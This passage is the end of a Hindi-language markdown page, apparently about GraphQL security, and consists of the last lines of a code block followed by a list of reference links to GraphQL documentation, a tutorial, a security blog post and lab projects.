			  }
		  }
	  }
  }
}
```
## उपयोग किए गए संदर्भ

### GraphQL

* [GraphQL साइट](https://graphql.org/)
* [GraphQL ट्यूटोरियल](https://www.howtographql.com/)
* [DOYENSEC ब्लॉग GraphQL मुद्दों के बारे में](https://blog.doyensec.com/2018/05/17/graphql-security-overview.html)

### प्रयोगशालाएँ

* [graphql-spring-boot](https://github.com/graphql-java-kickstart/graphql-spring-boot)
* [graphql-java-kickstart](https://www.graphql-java-kickstart.com)
टूल डाउनलोड करें